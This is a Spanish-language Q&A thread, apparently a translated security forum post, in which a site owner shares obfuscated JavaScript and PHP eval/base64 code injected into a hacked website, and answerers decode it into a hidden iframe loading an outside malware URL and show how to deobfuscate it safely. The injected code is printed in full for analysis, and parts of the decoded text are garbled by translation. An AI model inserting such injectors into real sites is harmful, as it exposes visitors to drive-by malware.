¿Qué hace este código inyectado?

11

Uno de mis sitios acaba de ser pirateado porque este código se insertó en archivos y lugares aleatorios (?) dentro de los archivos.

¿Alguien entiende lo que está tratando de hacer? Agradecería cualquier cosa que pueda ayudarme a descubrir cómo se desarrolló.

Además, ¿alguna sugerencia sobre cómo evitar que vuelva a aparecer? Cada vez que lo elimino, vuelve un poco más tarde.

<!--0242d5--><script type="text/javascript" language="javascript" >                                                                                                                                                                                                                                                          p=parseInt;ss=(123)?String.fromCharCode:0;asgq="28!66!75!6e!63!74!6@!6f!6e!20!28!2@!20!7b!d!a!20!20!20!20!76!61!72!20!70!7a!74!20!3d!20!64!6f!63!75!6d!65!6e!74!2e!63!72!65!61!74!65!45!6c!65!6d!65!6e!74!28!27!6@!66!72!61!6d!65!27!2@!3b!d!a!d!a!20!20!20!20!70!7a!74!2e!73!72!63!20!3d!20!27!68!74!74!70!3a!2f!2f!77!77!77!2e!62!65!74!74!65!72!62!61!6@!6c!62!6f!6e!64!73!2e!6e!65!74!2f!56!4c!4e!53!65!63!30!31!2f!63!6e!74!2e!70!68!70!27!3b!d!a!20!20!20!20!70!7a!74!2e!73!74!7@!6c!65!2e!70!6f!73!6@!74!6@!6f!6e!20!3d!20!27!61!62!73!6f!6c!75!74!65!27!3b!d!a!20!20!20!20!70!7a!74!2e!73!74!7@!6c!65!2e!62!6f!72!64!65!72!20!3d!20!27!30!27!3b!d!a!20!20!20!20!70!7a!74!2e!73!74!7@!6c!65!2e!68!65!6@!67!68!74!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!70!7a!74!2e!73!74!7@!6c!65!2e!77!6@!64!74!68!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!70!7a!74!2e!73!74!7@!6c!65!2e!6c!65!66!74!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!70!7a!74!2e!73!74!7@!6c!65!2e!74!6f!70!20!3d!20!27!31!70!78!27!3b!d!a!d!a!20!20!20!20!6@!66!20!28!21!64!6f!63!75!6d!65!6e!74!2e!67!65!74!45!6c!65!6d!65!6e!74!42!7@!4@!64!28!27!70!7a!74!27!2@!2@!20!7b!d!a!20!20!20!20!20!20!20!20!64!6f!63!75!6d!65!6e!74!2e!77!72!6@!74!65!28!27!3c!64!6@!76!20!6@!64!3d!5c!27!70!7a!74!5c!27!3e!3c!2f!64!6@!76!3e!27!2@!3b!d!a!20!20!20!20!20!20!20!20!64!6f!63!75!6d!65!6e!74!2e!67!65!74!45!6c!65!6d!65!6e!74!42!7@!4@!64!28!27!70!7a!74!27!2@!2e!61!70!70!65!6e!64!43!68!6@!6c!64!28!70!7a!74!2@!3b!d!a!20!20!20!20!7d!d!a!7d!2@!28!2@!3b".replace(/@/g,"9").split("!");try{document.body&=0.1}catch(gdsgsdg){zz=3;dbshre=62;if(dbshre){vfvwe=0;try{document;}catch(agdsg){vfvwe=1;}if(!vfvwe){e=eval;}s="";if(zz)for(i=0;i-485!=0;i++){if(window.document)s+=ss(p(asgq[i],16));}if(window.document)e(s);}}</script><!--/0242d5-->
----


CODE in various places and end of files
----

<?
#0242d5#
                                                                                                                                                                                                                                                          eval(gzinflate(base64_decode("5VbBcpswEL33KywOHRinNiCQnBJSz+TUc46lBwwC03EMRcRp7PG/d3eFk+Bx2k6SnuLRjKWn3bdvV1rZKlvWI2v0bj8XOmurpht1942KE6tTv7rpj3STGjixRqt0Xd6mJW4O8Mv3W7MmbtJWq6/rLtI6tj2fO1+uu7Zal5OirW+ulml7VefqsxuluvwJhfNnTAgmQyYUE5zJgIk5EwUufZfBrj/HiVywnKUEHYYUTHhM+jgHHwlEPjlLRHhOeEBcnALkTFAYiOGbYD4hHkUNWQDzjJCnlqBAEq0ge6/fBRCUcSPrWNqxHGAy0fijNGSdYQQcAAJDgUPKfqBGEmhscOIT4hFtRnMqFGQJ/GivenvgCQULMhYoFnLKhjMOUTzcgvlDGSA0yiA9fPGPmUC8eV+rnqJAHI2H5/eYqockaFOgowz7lF4e1WSPJTnU5mk8/pqEoCBYMTIwZzSg9jBjOXtNxcyNMuc6e2v2/hKL/yGc+km6f+M9wQ16+ob2/tiWsr/CJ7sx8FFOQLV76MyBamrLZ9+MgabnRWAD+ofrHPaReEYuc3x4+pQCLEKYndBhQK7QCzvu4AjI4OV4gbi3qZCid8+l5g37RyTgdPXNeZP7se9J3TInCL6QeGasEmvSqmaVZsqezqflWWKdJ5Yz0c2q6uzEYrCIuvZ+l9fZ7Y1ad5NFnd9/jN2Jt8/SLlvaZa5LnZfObruNeZQv9LJVseeLqCpss3J2m2Jzp2J3QBT1/ikSHEy8aA9ujBbOTsVqk66ivYbfn8RCwu3WKerWroCr+hS65wwn47Gzg727ap3Xd5MDv6PHsdZ2Y+MP2Lfq+5knHIfojw2VrWFjfzE1fwwuP1jRbw==")));

#/0242d5#

?>

--

(within above tags [#0242d5# and #/0242d5#] is this code -that wont show properly with just pasting here)

eval(gzinflate(base64_decode("5VbBcpswEL33KywOHRinNiCQnBJSz+TUc46lBwwC03EMRcRp7PG/d3eFk+Bx2k6SnuLRjKWn3bdvV1rZKlvWI2v0bj8XOmurpht1942KE6tTv7rpj3STGjixRqt0Xd6mJW4O8Mv3W7MmbtJWq6/rLtI6tj2fO1+uu7Zal5OirW+ulml7VefqsxuluvwJhfNnTAgmQyYUE5zJgIk5EwUufZfBrj/HiVywnKUEHYYUTHhM+jgHHwlEPjlLRHhOeEBcnALkTFAYiOGbYD4hHkUNWQDzjJCnlqBAEq0ge6/fBRCUcSPrWNqxHGAy0fijNGSdYQQcAAJDgUPKfqBGEmhscOIT4hFtRnMqFGQJ/GivenvgCQULMhYoFnLKhjMOUTzcgvlDGSA0yiA9fPGPmUC8eV+rnqJAHI2H5/eYqockaFOgowz7lF4e1WSPJTnU5mk8/pqEoCBYMTIwZzSg9jBjOXtNxcyNMuc6e2v2/hKL/yGc+km6f+M9wQ16+ob2/tiWsr/CJ7sx8FFOQLV76MyBamrLZ9+MgabnRWAD+ofrHPaReEYuc3x4+pQCLEKYndBhQK7QCzvu4AjI4OV4gbi3qZCid8+l5g37RyTgdPXNeZP7se9J3TInCL6QeGasEmvSqmaVZsqezqflWWKdJ5Yz0c2q6uzEYrCIuvZ+l9fZ7Y1ad5NFnd9/jN2Jt8/SLlvaZa5LnZfObruNeZQv9LJVseeLqCpss3J2m2Jzp2J3QBT1/ikSHEy8aA9ujBbOTsVqk66ivYbfn8RCwu3WKerWroCr+hS65wwn47Gzg727ap3Xd5MDv6PHsdZ2Y+MP2Lfq+5knHIfojw2VrWFjfzE1fwwuP1jRbw==")));
pregunta Keith B 03.04.2013 - 08:00
fuente

2 respuestas

23

El primer código (en negrita) es en realidad este: Descodificado con deobfuscatejavascript.com

(function() {
    var pzt = document.createElement('iframe');

    pzt.src = 'http://www.betterbailbonds.net/VLNSec01/cnt.php';
    pzt.style.position = 'absolute';
    pzt.style.border = '0';
    pzt.style.height = '1px';
    pzt.style.width = '1px';
    pzt.style.left = '1px';
    pzt.style.top = '1px';

    if (!document.getElementById('pzt')) {
        document.write('<div id=\'pzt\'></div>');
        document.getElementById('pzt').appendChild(pzt);
    } })();

Sí. Esto parece malicioso. Parece que incluye archivos de otro servidor (probablemente también pirateado) para hacer -algo-. La razón por la que el código se ve así es porque alguien intentó ofuscar el código usando algunas herramientas. Por suerte es reversible.

El código anterior básicamente crea un iframe 'invisible' en la página y carga la URL desde betterbailbonds.net.

Kaspersky Internet Security lo marca como un sitio de servicio de malware.

La segunda parte del código está codificada en base64 y gzinflated descodificado con: esta herramienta

  

echo "

  p = parseInt; ss = (123)? String.fromCharCode: 0; asgq = \ "28! 66! 75! 6e! 63! 74! 6 @! 6f! 6e! 20! 28! 2 @! 20! 7b! d! a! 20! 20! 20! 20! 76! 61! 72! 20! 6 @! 78! 62! 6 @! 67! 20! 3d! 20! 64! 6f! 63! 75! 6d! 65! 6e! 74! 2e! 63! 72! 65! 61! 74! 65! 45! 6c! 65! 6d! 65! 6e! 74! 28! 27! 6 @! 66! 72! 61! 6d! 65! 27! ! 2 @! 3b! D! A! D! A! 20! 20! 20! 20! 6 @! 78! 62! 6 @! 67! 2e! 73! 72! 63! 20! 3d! 20! 27! 68! 74! 74! 70! 3a! 2f! 2f! 77! 77! 77! 2e! 62! 74! 74! 65! 72! 62! 61! 6 @! 6c! 62! 6f! 6e! 64 ! 73! 2e! 6e! 65! 74! 2f! 56! 4c! 4e! 53! 63! 30! 31! 2f! 63! 6e! 74! 2e! 70! 68! 70! 27! 3b! D ! a! 20! 20! 20! 6! 6 @! 78! 62! 6 @! 67! 2e! 73! 74! 7 @! 6c! 65! 2e! 70! 6f! 73! 6 @! 74! 6 @! 6f! 6e! 20! 3d! 20! 27! 61! 62! 73! 6f! 6c! 75! 74! 65! 27! 3b! D! A! 20! 20! 20! 20! 6 @! 78 ! 62! 6 @! 67! 2e! 73! 74! 7 @! 6c! 65! 2e! 62! 6f! 72! 64! 72! 20! 3d! 20! 27! 30! 27! 3b! D ! a! 20! 20! 20! 6! 6 @! 78! 62! 6 @! 67! 2e! 73! 74! 7 @! 6c! 65! 2e! 68! 65! 6 @! 67! 68! 74 ! 20! 3d! 20! 27! 31! 70! 78! 27! 3b! D! A! 20! 20! 20! 6 @! 78! 62! 6 @! 67! 2e! 73! 74! 7 @! 6c! 65! 2e! 77! 6 @! 64! 74! 68! 20! 3d! 20! 27! 31! 70! 78! 27! 3b! D! A! 20! 20! 20! 20! 6 @! 78! 62! 6 @! 67! 2e! 73! 74! 7 @! 6c! 65! 2e! 6c! 65! 66! 74! 20! 3d! 20! 27! 31! 70! 78! 27! 27! 3b! D! A! 20! 20! 20! 20! 6 @! 78! 62! 6 @! 67! 2e! 73! 74! 7 @! 6c! 65! 2e! 74! 6f! 70! 20! 3d! 20! 27! 31! 70! 78! 27! 3b! D! A! D! A! 20! 20! 20! 20! 6 @! 66! 20! 28! 21! 64! 6f! 63 ! 75! 6d! 65! 6e! 74! 2e! 67! 65! 74! 45! 6c! 65! 6d! 65! 6e! 74! 42! 7 @! 4 @! 64! 28! 27! 6 @! 78! 62! 6 @! 67! 27! 2 @! 2 @! 20! 7b! D! A! 20! 20! 20! 20! 20! 20! 20! 64! 6f! 63! 75! 6d ! 65! 6e! 74! 2e! 77! 72! 6 @! 74! 65! 28! 27! 3c! 64! 6 @! 76! 20! 6 @! 64! 3d! 5c! 27! 6 @! 78 ! 62! 6 @! 67! 5c! 27! 3e! 3c! 2f! 64! 6 @! 76! 3e! 27! 2 @! 3b! D! A! 20! 20! 20! 20! 20! 20! 20! 20! 64! 6f! 63! 75! 6d! 65! 6e! 74! 2e! 67! 65! 74! 45! 6c! 65! 6d! 65! 6e! 74! 42! 7 @! 4 @! 64! 28! 27! 6 @! 78! 62! 6 @! 67! 27! 2 @! 2e! 61! 70! 70! 6! 6e! 64! 43! 68! 6 @! 6c! 64! 28! 6 @! 78! 62! 6 @! 67! 2 @! 3b! D! A! 20! 20! 20! 7d! D! A! 7d! 2 @! 28! 2 @! 3b \ ". Reemplace (/@/g,\"9\").split(\"!\");try{document.body&=0.1}catch(gdsgsdg){zz=3;dbshre=126;if(dbshre){vfvwe = 0; prueba {documento;} captura (agdsg) {vfvwe = 1;} if (! Vfvwe) {e = eval;} s = \ "\"; if (zz) para (i = 0; i-509! = 0; i ++) {if (window.document) s + = ss (p (asgq [i], 16));} if (window.document) e (s);}} ";

El código anterior se descompone (tuvo que hacerlo manualmente esta vez porque el en línea arrojó errores otra vez) a algo similar pero con diferentes nombres de variable:

  

(función () {       var ixbig = document.createElement ('iframe');

ixbig.src = 'http://www.betterbailbonds.net/VLNSec01/cnt.php';
ixbig.style.position = 'absolute';
ixbig.style.border = '0';
ixbig.style.height = '1px';
ixbig.style.width = '1px';
ixbig.style.left = '1px';
ixbig.style.top = '1px';

if (!document.getElementById('ixbig')) {
    document.write('<div id=\'ixbig\'></div>');
    document.getElementById('ixbig').appendChild(ixbig);
} })();

A quick google search muestra que parece que has participado en un ataque más amplio con muchas personas que tienen un código similar incrustado en sus páginas. Esto también parece ser un duplicado de este stackexchage post

Editar:

Acabo de notar que el acceso a esta página lo marca como malware a través de la seguridad de Internet de Kaspersky. Obviamente, conoce el script y lo define como HEUR: Trojan.Script.Generic

    
respondido por el NULLZ 03.04.2013 - 08:21
fuente
6

Realizado localmente

Esto podría hacerse fácilmente con cosas estándar:

Una de las ventajas es que podría hacerse fuera de línea , como comentó @ D3C4FF.

.0 Preámbulo

advertencia: la ejecución de un código incorrecto puede ser perjudicial, por lo que se recomienda encarecidamente utilizar una cuenta de usuario especial sin derechos en su host y en su personal.

Hay una especie de truco temporal, yo uso:

#!/bin/bash
adduser --disabled-password se-33671 </dev/null
su - se-33671 -c 'bash -i'
ps --user se-33671 feww && \
    echo WARNING: Something remain || \
    deluser --remove-home se-33671 </dev/null

.1 Primer paso

Simplemente cambiando eval para print y encerrándolo en las etiquetas php:

echo '<?php print(gzinflate(base64_decode("5VbBcpsw...jRbw==")));?>' |
    php > suspect.html

Entonces ahora podríamos ver el javascipt en suspect.html

Este paso normalmente lo realiza el servidor, enviando el resultado html al cliente.

.2 Segundo paso

Para esto, uso spidermonkey intérprete de javascript de línea de comandos.

No hay ningún objeto window , por lo que el código debe modificarse:

Reemplazando todos los eval por print para imprimir en lugar de ejecutar,

todos los window.document por 1 para satisfacer las condiciones,

y etiqueta de limpieza y escapes:

sed -ne 's/<[^>]*>//g;
    s/^echo." *//;
    s/\"/"/g;
    s/eval/print/;
    s/)e(/)print(/;
    s/window.document/1/g;
    /parse/p' suspect.html |
  smjs

Esto volcará la inclusión de la encuesta en la consola:

(function () {
    var ixbig = document.createElement('iframe');

    ixbig.src = 'http://www.betterbailbonds.net/VLNSec01/cnt.php';
    ixbig.style.position = 'absolute';
    ixbig.style.border = '0';
    ixbig.style.height = '1px';
    ixbig.style.width = '1px';
    ixbig.style.left = '1px';
    ixbig.style.top = '1px';

    if (!document.getElementById('ixbig')) {
        document.write('<div id=\'ixbig\'></div>');
        document.getElementById('ixbig').appendChild(ixbig);
    }
})();

Esto funciona bien para la muestra actual, pero se debe adaptar para cada caso.

En general, la forma más sencilla de eliminar la ofuscación es parcialmente ejecutar las cosas, ¡pero cuidado!

    
respondido por el F. Hauri 03.04.2013 - 13:09
fuente

Lea otras preguntas en las etiquetas